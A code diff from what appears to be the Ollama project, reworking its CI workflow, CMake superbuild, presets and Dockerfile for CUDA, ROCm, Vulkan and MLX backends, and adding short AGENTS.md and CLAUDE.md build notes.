+          GO_VERSION=$(awk '/^go / { print $2 }' go.mod)
+          curl -fsSL "https://golang.org/dl/go${GO_VERSION}.linux-$(dpkg --print-architecture).tar.gz" | $sudo tar xz -C /usr/local
+          echo "/usr/local/go/bin" >> $GITHUB_PATH
       - uses: actions/cache@v4
         with:
           path: /github/home/.cache/ccache
-          key: ccache-${{ runner.os }}-${{ runner.arch }}-${{ matrix.preset }}-${{ needs.changes.outputs.vendorsha }}
-      - run: |
-          cmake --preset ${{ matrix.preset }} ${{ matrix.flags }}
-          cmake --build --preset ${{ matrix.preset }} --parallel
-
+          key: ccache-${{ runner.os }}-${{ runner.arch }}-${{ matrix.preset }}-${{ needs.changes.outputs.enginehash }}
+      - name: Build native superbuild
+        if: matrix.superbuild_target
+        run: |
+          cmake -S . -B "${{ matrix.superbuild_dir }}" ${{ matrix.superbuild_args }}
+          CMAKE_BUILD_PARALLEL_LEVEL=$(nproc) cmake --build "${{ matrix.superbuild_dir }}" --target "${{ matrix.superbuild_target }}" -- -l $(nproc)
+          test -e "${{ matrix.superbuild_dir }}/${{ matrix.expected_payload }}"
+      - name: Verify local superbuild install
+        if: matrix.superbuild_target == 'ollama-local'
+        run: |
+          ./ollama --version
+          "${{ matrix.superbuild_dir }}/lib/ollama/llama-server" --version
+          test -x "${{ matrix.superbuild_dir }}/lib/ollama/llama-quantize"
+          cmake --install "${{ matrix.superbuild_dir }}" --component ollama-local --prefix "$RUNNER_TEMP/ollama-local"
+          "$RUNNER_TEMP/ollama-local/bin/ollama" --version
+          "$RUNNER_TEMP/ollama-local/lib/ollama/llama-server" --version
+          test -x "$RUNNER_TEMP/ollama-local/lib/ollama/llama-quantize"
   windows:
     needs: [changes]
     if: needs.changes.outputs.changed == 'True'
@@ -97,9 +176,16 @@ jobs:
       matrix:
         include:
           - preset: CPU
+            superbuild_target: ollama-local
+            superbuild_dir: build\local-superbuild
+            superbuild_args: ''
+            expected_payload: lib\ollama\llama-server.exe
           - preset: CUDA
             install: https://developer.download.nvidia.com/compute/cuda/13.0.0/local_installers/cuda_13.0.0_windows.exe
-            flags: '-DCMAKE_CUDA_ARCHITECTURES=80'
+            superbuild_target: ollama-llama-server-cuda_v13
+            superbuild_dir: build\local-superbuild-cuda_v13
+            superbuild_args: '-DOLLAMA_LLAMA_BACKENDS=cuda_v13 -DCMAKE_CUDA_ARCHITECTURES=80'
+            expected_payload: lib\ollama\cuda_v13\ggml-cuda.dll
             cuda-components:
               - '"cudart"'
               - '"nvcc"'
@@ -110,16 +196,47 @@ jobs:
               - '"nvptxcompiler"'
             cuda-version: '13.0'
           - preset: ROCm
-            install: https://download.amd.com/developer/eula/rocm-hub/AMD-Software-PRO-Edition-24.Q4-WinSvr2022-For-HIP.exe
-            flags: '-DAMDGPU_TARGETS=gfx1010 -DCMAKE_C_COMPILER=clang -DCMAKE_CXX_COMPILER=clang++ -DCMAKE_C_FLAGS="-parallel-jobs=4 -Wno-ignored-attributes -Wno-deprecated-pragma" -DCMAKE_CXX_FLAGS="-parallel-jobs=4 -Wno-ignored-attributes -Wno-deprecated-pragma"'
+            install: https://download.amd.com/developer/eula/rocm-hub/AMD-Software-PRO-Edition-26.Q1-Win11-For-HIP.exe
+            rocm-version: '7.1'
+            superbuild_target: ollama-llama-server-rocm_v7_1
+            superbuild_dir: build\local-superbuild-rocm_v7_1
+            superbuild_args: '-DOLLAMA_LLAMA_BACKENDS=rocm_v7_1 -DAMDGPU_TARGETS=gfx1010'
+            expected_payload: lib\ollama\rocm_v7_1\ggml-hip.dll
           - preset: Vulkan
             install: https://sdk.lunarg.com/sdk/download/1.4.321.1/windows/vulkansdk-windows-X64-1.4.321.1.exe
+            superbuild_target: ollama-llama-server-vulkan
+            superbuild_dir: build\local-superbuild-vulkan
+            superbuild_args: '-DOLLAMA_LLAMA_BACKENDS=vulkan'
+            expected_payload: lib\ollama\vulkan\ggml-vulkan.dll
+          - preset: 'MLX CUDA 13'
+            install: https://developer.download.nvidia.com/compute/cuda/13.0.0/local_installers/cuda_13.0.0_windows.exe
+            cudnn-install: https://developer.download.nvidia.com/compute/cudnn/redist/cudnn/windows-x86_64/cudnn-windows-x86_64-9.18.1.3_cuda13-archive.zip
+            superbuild_target: ollama-mlx-cuda_v13
+            superbuild_dir: build\local-superbuild-mlx-cuda_v13
+            superbuild_args: '-DOLLAMA_MLX_BACKENDS=cuda_v13 -DCMAKE_CUDA_ARCHITECTURES=80 -DMLX_CUDA_ARCHITECTURES=80-virtual'
+            expected_payload: lib\ollama\mlx_cuda_v13\mlx.dll
+            install-go: true
+            cuda-components:
+              - '"cudart"'
+              - '"nvcc"'
+              - '"cublas"'
+              - '"cublas_dev"'
+              - '"cufft"'
+              - '"cufft_dev"'
+              - '"nvrtc"'
+              - '"nvrtc_dev"'
+              - '"crt"'
+              - '"nvvm"'
+              - '"nvptxcompiler"'
+            cuda-version: '13.0'
     runs-on: windows
     steps:
       - run: |
           choco install -y --no-progress ccache ninja
-          ccache -o cache_dir=${{ github.workspace }}\.ccache
-      - if: matrix.preset == 'CUDA' || matrix.preset == 'ROCm' || matrix.preset == 'Vulkan'
+          if (Get-Command ccache -ErrorAction SilentlyContinue) {
+            ccache -o cache_dir=${{ github.workspace }}\.ccache
+          }
+      - if: matrix.preset == 'CUDA' || matrix.preset == 'ROCm' || matrix.preset == 'Vulkan' || matrix.preset == 'MLX CUDA 13'
         id: cache-install
         uses: actions/cache/restore@v4
         with:
@@ -127,8 +244,9 @@ jobs:
             C:\Program Files\NVIDIA GPU Computing Toolkit\CUDA
             C:\Program Files\AMD\ROCm
             C:\VulkanSDK
-          key: ${{ matrix.install }}
-      - if: matrix.preset == 'CUDA'
+            C:\Program Files\NVIDIA\CUDNN
+          key: ${{ matrix.install }}-${{ matrix.cudnn-install }}
+      - if: matrix.preset == 'CUDA' || matrix.preset == 'MLX CUDA 13'
         name: Install CUDA ${{ matrix.cuda-version }}
         run: |
           $ErrorActionPreference = "Stop"
@@ -164,10 +282,31 @@ jobs:
             Invoke-WebRequest -Uri "${{ matrix.install }}" -OutFile "install.exe"
             Start-Process -FilePath .\install.exe -ArgumentList "-c","--am","--al","in" -NoNewWindow -Wait
           }
-          
+
           $vulkanPath = (Resolve-Path "C:\VulkanSDK\*").path
+          $vulkanRuntime = Join-Path $vulkanPath "Helpers\VulkanRT.exe"
+          if (Test-Path $vulkanRuntime) {
+            Start-Process -FilePath $vulkanRuntime -ArgumentList "/s" -NoNewWindow -Wait
+          }
           echo "$vulkanPath\bin" | Out-File -FilePath $env:GITHUB_PATH -Encoding utf8 -Append
           echo "VULKAN_SDK=$vulkanPath" >> $env:GITHUB_ENV
+      - if: matrix.preset == 'MLX CUDA 13'
+        name: Install cuDNN for MLX
+        run: |
+          $ErrorActionPreference = "Stop"
+          $cudnnRoot = "C:\Program Files\NVIDIA\CUDNN"
+          if ("${{ steps.cache-install.outputs.cache-hit }}" -ne 'true') {
+            Invoke-WebRequest -Uri "${{ matrix.cudnn-install }}" -OutFile "cudnn.zip"
+            Expand-Archive -Path cudnn.zip -DestinationPath cudnn-extracted
+            $cudnnDir = (Get-ChildItem -Path cudnn-extracted -Directory)[0].FullName
+            New-Item -ItemType Directory -Force -Path $cudnnRoot
+            Copy-Item -Path "$cudnnDir\*" -Destination "$cudnnRoot\" -Recurse
+          }
+
+          echo "CUDNN_ROOT_DIR=$cudnnRoot" | Out-File -FilePath $env:GITHUB_ENV -Append
+          echo "CUDNN_INCLUDE_PATH=$cudnnRoot\include" | Out-File -FilePath $env:GITHUB_ENV -Append
+          echo "CUDNN_LIBRARY_PATH=$cudnnRoot\lib\x64" | Out-File -FilePath $env:GITHUB_ENV -Append
+          echo "$cudnnRoot\bin\x64" | Out-File -FilePath $env:GITHUB_PATH -Encoding utf8 -Append
       - if: ${{ !cancelled() && steps.cache-install.outputs.cache-hit != 'true' }}
         uses: actions/cache/save@v4
         with:
@@ -175,20 +314,47 @@ jobs:
             C:\Program Files\NVIDIA GPU Computing Toolkit\CUDA
             C:\Program Files\AMD\ROCm
             C:\VulkanSDK
-          key: ${{ matrix.install }}
+            C:\Program Files\NVIDIA\CUDNN
+          key: ${{ matrix.install }}-${{ matrix.cudnn-install }}
       - uses: actions/checkout@v4
+      - if: matrix.superbuild_target == 'ollama-local' || matrix.install-go
+        uses: actions/setup-go@v5
+        with:
+          go-version-file: 'go.mod'
       - uses: actions/cache@v4
         with:
           path: ${{ github.workspace }}\.ccache
-          key: ccache-${{ runner.os }}-${{ runner.arch }}-${{ matrix.preset }}-${{ needs.changes.outputs.vendorsha }}
-      - run: |
+          key: ccache-${{ runner.os }}-${{ runner.arch }}-${{ matrix.preset }}-${{ needs.changes.outputs.enginehash }}
+      - name: Build native superbuild
+        if: matrix.superbuild_target
+        run: |
+          $ErrorActionPreference = "Stop"
           Import-Module 'C:\Program Files\Microsoft Visual Studio\2022\Enterprise\Common7\Tools\Microsoft.VisualStudio.DevShell.dll'
           Enter-VsDevShell -VsInstallPath 'C:\Program Files\Microsoft Visual Studio\2022\Enterprise' -SkipAutomaticLocation  -DevCmdArguments '-arch=x64 -no_logo'
-          cmake --preset "${{ matrix.preset }}" ${{ matrix.flags }}
-          cmake --build --parallel --preset "${{ matrix.preset }}"
+          cmake -S . -B "${{ matrix.superbuild_dir }}" ${{ matrix.superbuild_args }}
+          $env:CMAKE_BUILD_PARALLEL_LEVEL = [Environment]::ProcessorCount
+          cmake --build "${{ matrix.superbuild_dir }}" --target "${{ matrix.superbuild_target }}" -- -l $([Environment]::ProcessorCount)
+          if (!(Test-Path "${{ matrix.superbuild_dir }}\${{ matrix.expected_payload }}")) {
+            throw "missing ${{ matrix.expected_payload }}"
+          }
         env:
           CMAKE_GENERATOR: Ninja
-
+      - name: Verify local superbuild install
+        if: matrix.superbuild_target == 'ollama-local'
+        run: |
+          $ErrorActionPreference = "Stop"
+          & ".\ollama.exe" --version
+          & "${{ matrix.superbuild_dir }}\lib\ollama\llama-server.exe" --version
+          if (!(Test-Path "${{ matrix.superbuild_dir }}\lib\ollama\llama-quantize.exe")) {
+            throw "missing llama-quantize.exe"
+          }
+          $installPrefix = Join-Path $env:RUNNER_TEMP "ollama-local"
+          cmake --install "${{ matrix.superbuild_dir }}" --component ollama-local --prefix "$installPrefix"
+          & "$installPrefix\bin\ollama.exe" --version
+          & "$installPrefix\lib\ollama\llama-server.exe" --version
+          if (!(Test-Path "$installPrefix\lib\ollama\llama-quantize.exe")) {
+            throw "missing installed llama-quantize.exe"
+          }
   go_mod_tidy:
     runs-on: ubuntu-latest
     steps:
@@ -197,6 +363,7 @@ jobs:
         run: go mod tidy --diff || (echo "Please run 'go mod tidy'." && exit 1)
 
   test:
+    needs: [changes]
     strategy:
       matrix:
         os: [ubuntu-latest, macos-latest, windows-latest]
@@ -210,7 +377,9 @@ jobs:
           go-version-file: 'go.mod'
           cache-dependency-path: |
             go.sum
-            Makefile.sync
+            LLAMA_CPP_VERSION
+            MLX_VERSION
+            MLX_C_VERSION
       - uses: actions/setup-node@v4
         with:
           node-version: '20'
@@ -224,6 +393,17 @@ jobs:
         if: ${{ startsWith(matrix.os, 'ubuntu') }}
         working-directory: ./app/ui/app
         run: npm test
+      - name: Verify MLX generated files are current
+        if: ${{ startsWith(matrix.os, 'ubuntu') }}
+        run: |
+          cmake -S . -B build/mlx-generate -DOLLAMA_MLX_BACKENDS=cuda_v13
+          cmake --build build/mlx-generate --target ollama-mlx-generate-wrappers
+          git diff --exit-code -- \
+            x/imagegen/mlx/mlx.h \
+            x/imagegen/mlx/mlx.c \
+            x/mlxrunner/mlx/generated.h \
+            x/mlxrunner/mlx/generated.c \
+            x/mlxrunner/mlx/include/mlx/c
       - name: Run go generate
         run: go generate ./...
 
@@ -231,15 +411,10 @@ jobs:
         if: always()
         run: go test -count=1 -benchtime=1x ./...
 
+      - name: go test app with live updater tag
+        if: ${{ needs.changes.outputs.app_changed == 'True' && contains(fromJSON('["macos-latest","windows-latest"]'), matrix.os) }}
+        run: go test -count=1 -tags updater_live ./app/...
+
       - uses: golangci/golangci-lint-action@v9
         with:
           only-new-issues: true
-
-  patches:
-    runs-on: ubuntu-latest
-    steps:
-      - uses: actions/checkout@v4
-      - name: Verify patches apply cleanly and do not change files
-        run: |
-          make -f Makefile.sync clean checkout apply-patches sync
-          git diff --compact-summary --exit-code

.gitignore

@@ -15,3 +15,4 @@ __debug_bin*
 llama/build
 llama/vendor
 /ollama
+integration/testdata/models/

AGENTS.md

@@ -0,0 +1,21 @@
+# AGENTS.md
+
+## Building
+
+For a full build from the repository root:
+
+```sh
+cmake -B build .
+cmake --build build --parallel 8
+./ollama serve
+```
+
+For quick Go-only iteration against an existing native payload:
+
+```sh
+go build .
+go run . serve
+```
+
+See `docs/development.md` for prerequisites, platform notes, GPU backends, and
+the full development workflow.

CLAUDE.md

@@ -0,0 +1,3 @@
+# CLAUDE.md
+
+See `AGENTS.md` for the shared agent instructions for this repository.

CMakeLists.txt

@@ -1,44 +1,55 @@
-cmake_minimum_required(VERSION 3.21)
+cmake_minimum_required(VERSION 3.24)
 
 project(Ollama C CXX)
 
+# Handle cross-compilation on macOS: when CMAKE_OSX_ARCHITECTURES is set to a
+# single architecture different from the host, override CMAKE_SYSTEM_PROCESSOR
+# to match. This is necessary because CMAKE_SYSTEM_PROCESSOR defaults to the
+# host architecture, but downstream projects (like MLX) use it to detect the
+# target architecture.
+if(CMAKE_OSX_ARCHITECTURES AND NOT CMAKE_OSX_ARCHITECTURES MATCHES ";")
+    # Single architecture specified
+    if(CMAKE_OSX_ARCHITECTURES STREQUAL "x86_64" AND NOT CMAKE_SYSTEM_PROCESSOR STREQUAL "x86_64")
+        message(STATUS "Cross-compiling for x86_64: overriding CMAKE_SYSTEM_PROCESSOR from ${CMAKE_SYSTEM_PROCESSOR} to x86_64")
+        set(CMAKE_SYSTEM_PROCESSOR "x86_64")
+    elseif(CMAKE_OSX_ARCHITECTURES STREQUAL "arm64" AND NOT CMAKE_SYSTEM_PROCESSOR STREQUAL "arm64")
+        message(STATUS "Cross-compiling for arm64: overriding CMAKE_SYSTEM_PROCESSOR from ${CMAKE_SYSTEM_PROCESSOR} to arm64")
+        set(CMAKE_SYSTEM_PROCESSOR "arm64")
+    endif()
+endif()
+
 include(CheckLanguage)
 include(GNUInstallDirs)
 
 find_package(Threads REQUIRED)
 
-set(CMAKE_BUILD_TYPE Release)
-set(BUILD_SHARED_LIBS ON)
+if(NOT CMAKE_CONFIGURATION_TYPES AND NOT CMAKE_BUILD_TYPE)
+    set(CMAKE_BUILD_TYPE Release CACHE STRING "Build type" FORCE)
+endif()
+
+# These defaults can be overridden by presets (e.g., for static macOS llama-server builds)
+if(NOT DEFINED BUILD_SHARED_LIBS)
+    set(BUILD_SHARED_LIBS ON)
+endif()
 
 set(CMAKE_CXX_STANDARD 17)
 set(CMAKE_CXX_STANDARD_REQUIRED ON)
-set(CMAKE_CXX_EXTENSIONS OFF)
+set(CMAKE_CXX_EXTENSIONS ON) # Recent versions of MLX require gnu++17 extensions to compile properly
 
-set(GGML_BUILD ON)
-set(GGML_SHARED ON)
-set(GGML_CCACHE ON)
-set(GGML_BACKEND_DL ON)
-set(GGML_BACKEND_SHARED ON)
-set(GGML_SCHED_MAX_COPIES 4)
+# GGML backend for inference is provided by llama-server (built separately via
+# llama/server/CMakeLists.txt using FetchContent from the pinned llama.cpp source).
+# The root CMake project is the orchestration entrypoint; backend-specific
+# build rules live in subprojects under cmake/.
 
-set(GGML_LLAMAFILE ON)
-set(GGML_CUDA_PEER_MAX_BATCH_SIZE 128)
-set(GGML_CUDA_GRAPHS ON)
-set(GGML_CUDA_FA ON)
-set(GGML_CUDA_COMPRESSION_MODE default)
-
-if((CMAKE_OSX_ARCHITECTURES AND NOT CMAKE_OSX_ARCHITECTURES MATCHES "arm64")
-    OR (NOT CMAKE_OSX_ARCHITECTURES AND NOT CMAKE_SYSTEM_PROCESSOR MATCHES "arm|aarch64|ARM64|ARMv[0-9]+"))
-    set(GGML_CPU_ALL_VARIANTS ON)
-endif()
-
-if (CMAKE_OSX_ARCHITECTURES MATCHES "x86_64")
+if(APPLE)
     set(CMAKE_BUILD_RPATH "@loader_path")
     set(CMAKE_INSTALL_RPATH "@loader_path")
+    set(CMAKE_BUILD_WITH_INSTALL_RPATH ON)
 endif()
 
 set(OLLAMA_BUILD_DIR ${CMAKE_BINARY_DIR}/lib/ollama)
-set(OLLAMA_INSTALL_DIR ${CMAKE_INSTALL_PREFIX}/lib/ollama/${OLLAMA_RUNNER_DIR})
+set(OLLAMA_LIB_DIR "lib/ollama" CACHE STRING "Install destination for Ollama runtime payloads")
+set(OLLAMA_INSTALL_DIR ${OLLAMA_LIB_DIR}/${OLLAMA_RUNNER_DIR})
 
 set(CMAKE_RUNTIME_OUTPUT_DIRECTORY         ${OLLAMA_BUILD_DIR})
 set(CMAKE_RUNTIME_OUTPUT_DIRECTORY_DEBUG   ${OLLAMA_BUILD_DIR})
@@ -47,114 +58,9 @@ set(CMAKE_LIBRARY_OUTPUT_DIRECTORY         ${OLLAMA_BUILD_DIR})
 set(CMAKE_LIBRARY_OUTPUT_DIRECTORY_DEBUG   ${OLLAMA_BUILD_DIR})
 set(CMAKE_LIBRARY_OUTPUT_DIRECTORY_RELEASE ${OLLAMA_BUILD_DIR})
 
-include_directories(${CMAKE_CURRENT_SOURCE_DIR}/ml/backend/ggml/ggml/src)
-include_directories(${CMAKE_CURRENT_SOURCE_DIR}/ml/backend/ggml/ggml/src/include)
-include_directories(${CMAKE_CURRENT_SOURCE_DIR}/ml/backend/ggml/ggml/src/ggml-cpu)
-include_directories(${CMAKE_CURRENT_SOURCE_DIR}/ml/backend/ggml/ggml/src/ggml-cpu/amx)
-
-add_compile_definitions(NDEBUG GGML_VERSION=0x0 GGML_COMMIT=0x0)
-
-# Define GGML version variables for shared library SOVERSION
-# These are required by ggml/src/CMakeLists.txt for proper library versioning
-set(GGML_VERSION_MAJOR 0)
-set(GGML_VERSION_MINOR 0)
-set(GGML_VERSION_PATCH 0)
-set(GGML_VERSION "${GGML_VERSION_MAJOR}.${GGML_VERSION_MINOR}.${GGML_VERSION_PATCH}")
-
-set(GGML_CPU ON)
-add_subdirectory(${CMAKE_CURRENT_SOURCE_DIR}/ml/backend/ggml/ggml/src)
-set_property(TARGET ggml PROPERTY EXCLUDE_FROM_ALL TRUE)
-
-get_target_property(CPU_VARIANTS ggml-cpu MANUALLY_ADDED_DEPENDENCIES)
-if(NOT CPU_VARIANTS)
-    set(CPU_VARIANTS "ggml-cpu")
-endif()
-
-install(TARGETS ggml-base ${CPU_VARIANTS}
-    RUNTIME_DEPENDENCIES
-        PRE_EXCLUDE_REGEXES ".*"
-    RUNTIME DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT CPU
-    LIBRARY DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT CPU
-    FRAMEWORK DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT CPU
-)
-
-check_language(CUDA)
-if(CMAKE_CUDA_COMPILER)
-    if(CMAKE_VERSION VERSION_GREATER_EQUAL "3.24" AND NOT CMAKE_CUDA_ARCHITECTURES)
-        set(CMAKE_CUDA_ARCHITECTURES "native")
-    endif()
-
-    find_package(CUDAToolkit)
-    add_subdirectory(${CMAKE_CURRENT_SOURCE_DIR}/ml/backend/ggml/ggml/src/ggml-cuda)
-    install(TARGETS ggml-cuda
-        RUNTIME_DEPENDENCIES
-            DIRECTORIES ${CUDAToolkit_BIN_DIR} ${CUDAToolkit_BIN_DIR}/x64 ${CUDAToolkit_LIBRARY_DIR}
-            PRE_INCLUDE_REGEXES cublas cublasLt cudart
-            PRE_EXCLUDE_REGEXES ".*"
-        RUNTIME DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT CUDA
-        LIBRARY DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT CUDA
-    )
-endif()
-
-set(WINDOWS_AMDGPU_TARGETS_EXCLUDE_REGEX "^gfx(908|90a|1200|1201):xnack[+-]$"
-    CACHE STRING
-    "Regular expression describing AMDGPU_TARGETS not supported on Windows. Override to force building these targets. Default \"^gfx(908|90a|1200|1201):xnack[+-]$\"."
-)
-
-check_language(HIP)
-if(CMAKE_HIP_COMPILER)
-    set(HIP_PLATFORM "amd")
-
-    if(NOT AMDGPU_TARGETS)
-        find_package(hip REQUIRED)
-        list(FILTER AMDGPU_TARGETS INCLUDE REGEX "^gfx(94[012]|101[02]|1030|110[012]|120[01])$")
-    endif()
-
-    if(WIN32 AND WINDOWS_AMDGPU_TARGETS_EXCLUDE_REGEX)
-        list(FILTER AMDGPU_TARGETS EXCLUDE REGEX ${WINDOWS_AMDGPU_TARGETS_EXCLUDE_REGEX})
-    endif()
-
-    if(AMDGPU_TARGETS)
-        find_package(hip REQUIRED)
-        add_subdirectory(${CMAKE_CURRENT_SOURCE_DIR}/ml/backend/ggml/ggml/src/ggml-hip)
-
-        if (WIN32)
-            target_compile_definitions(ggml-hip PRIVATE GGML_CUDA_NO_PEER_COPY)
-        endif()
-
-        target_compile_definitions(ggml-hip PRIVATE GGML_HIP_NO_VMM)
-
-        install(TARGETS ggml-hip
-            RUNTIME_DEPENDENCY_SET rocm
-            RUNTIME DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT HIP
-            LIBRARY DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT HIP
-        )
-        install(RUNTIME_DEPENDENCY_SET rocm
-                DIRECTORIES ${HIP_BIN_INSTALL_DIR} ${HIP_LIB_INSTALL_DIR}
-                PRE_INCLUDE_REGEXES hipblas rocblas amdhip64 rocsolver amd_comgr hsa-runtime64 rocsparse tinfo rocprofiler-register drm drm_amdgpu numa elf
-                PRE_EXCLUDE_REGEXES ".*"
-                POST_EXCLUDE_REGEXES "system32"
-            RUNTIME DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT HIP
-            LIBRARY DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT HIP
-        )
-
-        foreach(HIP_LIB_BIN_INSTALL_DIR IN ITEMS ${HIP_BIN_INSTALL_DIR} ${HIP_LIB_INSTALL_DIR})
-            if(EXISTS ${HIP_LIB_BIN_INSTALL_DIR}/rocblas)
-                install(DIRECTORY ${HIP_LIB_BIN_INSTALL_DIR}/rocblas DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT HIP)
-                break()
-            endif()
-        endforeach()
-    endif()
-endif()
-
-find_package(Vulkan)
-if(Vulkan_FOUND)
-    add_subdirectory(${CMAKE_CURRENT_SOURCE_DIR}/ml/backend/ggml/ggml/src/ggml-vulkan)
-    install(TARGETS ggml-vulkan
-        RUNTIME_DEPENDENCIES
-            PRE_INCLUDE_REGEXES vulkan
-            PRE_EXCLUDE_REGEXES ".*"
-        RUNTIME DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT Vulkan
-        LIBRARY DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT Vulkan
-    )
+if(EXISTS "${CMAKE_CURRENT_SOURCE_DIR}/llama/server/CMakeLists.txt")
+    set(OLLAMA_HAVE_LLAMA_SERVER TRUE)
+else()
+    set(OLLAMA_HAVE_LLAMA_SERVER FALSE)
 endif()
+include(${CMAKE_CURRENT_SOURCE_DIR}/cmake/local.cmake)

CMakePresets.json

@@ -11,77 +11,10 @@
       }
     },
     {
-      "name": "CPU",
-      "inherits": [ "Default" ]
-    },
-    {
-      "name": "CUDA",
-      "inherits": [ "Default" ]
-    },
-    {
-      "name": "CUDA 11",
-      "inherits": [ "CUDA" ],
-      "cacheVariables": {
-        "CMAKE_CUDA_ARCHITECTURES": "50-virtual;60-virtual;61-virtual;70-virtual;75-virtual;80-virtual;86-virtual;87-virtual;89-virtual;90-virtual",
-        "CMAKE_CUDA_FLAGS": "-Wno-deprecated-gpu-targets -t 2",
-        "OLLAMA_RUNNER_DIR": "cuda_v11"
-      }
-    },
-    {
-      "name": "CUDA 12",
-      "inherits": [ "CUDA" ],
-      "cacheVariables": {
-        "CMAKE_CUDA_ARCHITECTURES": "50;52;60;61;70;75;80;86;89;90;90a;120",
-        "CMAKE_CUDA_FLAGS": "-Wno-deprecated-gpu-targets -t 2",
-        "OLLAMA_RUNNER_DIR": "cuda_v12"
-      }
-    },
-    {
-      "name": "CUDA 13",
-      "inherits": [ "CUDA" ],
-      "cacheVariables": {
-        "CMAKE_CUDA_ARCHITECTURES": "75-virtual;80-virtual;86-virtual;87-virtual;89-virtual;90-virtual;90a-virtual;100-virtual;103-virtual;110-virtual;120-virtual;121-virtual",
-        "CMAKE_CUDA_FLAGS": "-t 2",
-        "OLLAMA_RUNNER_DIR": "cuda_v13"
-      }
-    },
-    {
-      "name": "JetPack 5",
-      "inherits": [ "CUDA" ],
-      "cacheVariables": {
-        "CMAKE_CUDA_ARCHITECTURES": "72;87",
-        "OLLAMA_RUNNER_DIR": "cuda_jetpack5"
-      }
-    },
-    {
-      "name": "JetPack 6",
-      "inherits": [ "CUDA" ],
-      "cacheVariables": {
-        "CMAKE_CUDA_ARCHITECTURES": "87",
-        "OLLAMA_RUNNER_DIR": "cuda_jetpack6"
-      }
-    },
-    {
-      "name": "ROCm",
+      "name": "MLX Metal",
       "inherits": [ "Default" ],
       "cacheVariables": {
-        "CMAKE_HIP_PLATFORM": "amd"
-      }
-    },
-    {
-      "name": "ROCm 6",
-      "inherits": [ "ROCm" ],
-      "cacheVariables": {
-        "CMAKE_HIP_FLAGS": "-parallel-jobs=4",
-        "AMDGPU_TARGETS": "gfx940;gfx941;gfx942;gfx1010;gfx1012;gfx1030;gfx1100;gfx1101;gfx1102;gfx1151;gfx1200;gfx1201;gfx908:xnack-;gfx90a:xnack+;gfx90a:xnack-",
-        "OLLAMA_RUNNER_DIR": "rocm"
-      }
-    },
-    {
-      "name": "Vulkan",
-      "inherits": [ "Default" ],
-      "cacheVariables": {
-        "OLLAMA_RUNNER_DIR": "vulkan"
+        "OLLAMA_MLX_BACKENDS": "metal_v3;metal_v4"
       }
     }
   ],
@@ -92,54 +25,9 @@
       "configuration": "Release"
     },
     {
-      "name": "CPU",
-      "configurePreset": "Default",
-      "targets": [ "ggml-cpu" ]
-    },
-    {
-      "name": "CUDA",
-      "configurePreset": "CUDA",
-      "targets": [ "ggml-cuda" ]
-    },
-    {
-      "name": "CUDA 11",
-      "inherits": [ "CUDA" ],
-      "configurePreset": "CUDA 11"
-    },
-    {
-      "name": "CUDA 12",
-      "inherits": [ "CUDA" ],
-      "configurePreset": "CUDA 12"
-    },
-    {
-      "name": "CUDA 13",
-      "inherits": [ "CUDA" ],
-      "configurePreset": "CUDA 13"
-    },
-    {
-      "name": "JetPack 5",
-      "inherits": [ "CUDA" ],
-      "configurePreset": "JetPack 5"
-    },
-    {
-      "name": "JetPack 6",
-      "inherits": [ "CUDA" ],
-      "configurePreset": "JetPack 6"
-    },
-    {
-      "name": "ROCm",
-      "configurePreset": "ROCm",
-      "targets": [ "ggml-hip" ]
-    },
-    {
-      "name": "ROCm 6",
-      "inherits": [ "ROCm" ],
-      "configurePreset": "ROCm 6"
-    },
-    {
-      "name": "Vulkan",
-      "targets": [ "ggml-vulkan" ],
-      "configurePreset": "Vulkan"
+      "name": "MLX Metal",
+      "targets": [ "ollama-mlx-backends" ],
+      "configurePreset": "MLX Metal"
     }
   ]
 }

Dockerfile

@@ -1,138 +1,242 @@
 # vim: filetype=dockerfile
 
 ARG FLAVOR=${TARGETARCH}
-ARG PARALLEL=8
 
-ARG ROCMVERSION=6.3.3
+ARG ROCMVERSION=7.2.1
 ARG JETPACK5VERSION=r35.4.1
 ARG JETPACK6VERSION=r36.4.0
 ARG CMAKEVERSION=3.31.2
+ARG NINJAVERSION=1.12.1
 ARG VULKANVERSION=1.4.321.1
 
-# We require gcc v10 minimum.  v10.3 has regressions, so the rockylinux 8.5 AppStream has the latest compatible version
+# Default empty stages for local MLX source overrides.
+# Override with: docker build --build-context local-mlx=../mlx --build-context local-mlx-c=../mlx-c
+FROM scratch AS local-mlx
+FROM scratch AS local-mlx-c
+
 FROM --platform=linux/amd64 rocm/dev-almalinux-8:${ROCMVERSION}-complete AS base-amd64
-RUN yum install -y yum-utils \
-    && yum-config-manager --add-repo https://dl.rockylinux.org/vault/rocky/8.5/AppStream/\$basearch/os/ \
-    && rpm --import https://dl.rockylinux.org/pub/rocky/RPM-GPG-KEY-Rocky-8 \
-    && dnf install -y yum-utils ccache gcc-toolset-10-gcc-10.2.1-8.2.el8 gcc-toolset-10-gcc-c++-10.2.1-8.2.el8 gcc-toolset-10-binutils-2.35-11.el8 \
-    && dnf install -y ccache \
+RUN dnf install -y yum-utils ccache gcc-toolset-11-gcc gcc-toolset-11-gcc-c++ gcc-toolset-11-binutils \
     && yum-config-manager --add-repo https://developer.download.nvidia.com/compute/cuda/repos/rhel8/x86_64/cuda-rhel8.repo
-ENV PATH=/opt/rh/gcc-toolset-10/root/usr/bin:$PATH
-ARG VULKANVERSION
-RUN wget https://sdk.lunarg.com/sdk/download/${VULKANVERSION}/linux/vulkansdk-linux-x86_64-${VULKANVERSION}.tar.xz -O /tmp/vulkansdk-linux-x86_64-${VULKANVERSION}.tar.xz \
-    && tar xvf /tmp/vulkansdk-linux-x86_64-${VULKANVERSION}.tar.xz \
-    && dnf -y install ninja-build \
-    && ln -s /usr/bin/python3 /usr/bin/python \  
-    && /${VULKANVERSION}/vulkansdk -j 8 vulkan-headers \
-    && /${VULKANVERSION}/vulkansdk -j 8 shaderc
-RUN cp -r /${VULKANVERSION}/x86_64/include/* /usr/local/include/ \
-    && cp -r /${VULKANVERSION}/x86_64/lib/* /usr/local/lib
-ENV PATH=/${VULKANVERSION}/x86_64/bin:$PATH
